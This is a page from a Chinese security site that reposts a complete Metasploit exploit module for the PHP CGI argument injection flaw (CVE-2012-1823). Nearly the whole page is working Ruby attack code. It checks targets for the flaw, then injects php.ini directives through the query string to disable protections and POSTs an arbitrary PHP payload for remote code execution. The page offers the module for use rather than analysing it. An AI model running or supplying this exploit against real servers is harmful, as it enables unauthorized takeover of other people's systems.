首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
PHP CGI Argument Injection
来源:http://www.metasploit.com 作者:egypt 发布时间:2012-05-07  

##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'PHP CGI Argument Injection',
   'Description'    => %q{
    When run as a CGI, PHP up to version 5.3.12 and 5.4.2 is vulnerable to
    an argument injection vulnerability.  This module takes advantage of
    the -d flag to set php.ini directives to achieve code execution.
    From the advisory: "if there is NO unescaped '=' in the query string,
    the string is split on '+' (encoded space) characters, urldecoded,
    passed to a function that escapes shell metacharacters (the "encoded in
    a system-defined manner" from the RFC) and then passes them to the CGI
    binary."
   },
   'Author'         => [ 'egypt', 'hdm' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision$',
   'References'     => [
     [ "CVE" , "2012-1823" ],
     [ "URL" , "http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/" ],
    ],
   'Privileged'     => false,
   'Payload'        =>
    {
     'DisableNops' => true,
     # Arbitrary big number. The payload gets sent as an HTTP
     # response body, so really it's unlimited
     'Space'       => 262144, # 256k
    },
   'DisclosureDate' => 'May 03 2012',
   'Platform'       => 'php',
   'Arch'           => ARCH_PHP,
   'Targets'        => [[ 'Automatic', { }]],
   'DefaultTarget' => 0))

  register_options([
   OptString.new('TARGETURI', [false, "The URI to request (must be a CGI-handled PHP script)"]),
   ], self.class)
 end

 # php-cgi -h
 # ...
 #   -s               Display colour syntax highlighted source.
 def check
  uri = target_uri.path

  uri.gsub!(/\?.*/, "")

  print_status("Checking uri #{uri}")

  response = send_request_raw({ 'uri' => uri })

  if response and response.code == 200 and response.body =~ /\<code\>\<span style.*\&lt\;\?/mi
   print_error("Server responded in a way that was ambiguous, could not determine whether it was vulnerable")
   return Exploit::CheckCode::Unknown
  end

  response = send_request_raw({ 'uri' => uri + '?-s'})
  if response and response.code == 200 and response.body =~ /\<code\>\<span style.*\&lt\;\?/mi
   return Exploit::CheckCode::Vulnerable
  end

  print_error("Server responded indicating it was not vulnerable")
  return Exploit::CheckCode::Safe
 end

 def exploit
  begin
   args = [
    "-d+allow_url_include%3d#{rand_php_ini_true}",
    "-d+safe_mode%3d#{rand_php_ini_false}",
    "-d+suhosin.simulation%3d#{rand_php_ini_true}",
    "-d+disable_functions%3d%22%22",
    "-d+open_basedir%3dnone",
    "-d+auto_prepend_file%3dphp://input",
    "-n"
   ]

   qs = args.join("+")
   uri = "#{target_uri}?#{qs}"

   # Has to be all on one line, so gsub out the comments and the newlines
   payload_oneline = "<?php " + payload.encoded.gsub(/\s*#.*$/, "").gsub("\n", "")
   response = send_request_cgi( {
    'method' => "POST",
    'global' => true,
    'uri'    => uri,
    'data'   => payload_oneline,
   }, 0.5)
   handler

  rescue ::Interrupt
   raise $!
  rescue ::Rex::HostUnreachable, ::Rex::ConnectionRefused
   print_error("The target service unreachable")
  rescue ::OpenSSL::SSL::SSLError
   print_error("The target failed to negotiate SSL, is this really an SSL service?")
  end

 end

 def rand_php_ini_false
  Rex::Text.to_rand_case([ "0", "off", "false" ][rand(3)])
 end

 def rand_php_ini_true
  Rex::Text.to_rand_case([ "1", "on", "true" ][rand(3)])
 end

end


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Solarwinds Storage Manager 5.1
·PHP CGI Argument Injection Exp
·Mozilla Firefox <=12.0 Denial
·AnvSoft Any Video Converter 4.
·Format Factory v2.95 - Buffer
·VLC MMS Stream Handling Buffer
·Drupal 0-day Denial Of Service
·Symantec pcAnywhere Insecure F
·URL Hunter 3.1.2.1 [.m3u] stac
·OpenConf <= 4.11 (author/edit.
·Guitar Pro 6.1.1 r10791 (.gpx)
·Microsoft Windows xp Win32k.sy
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved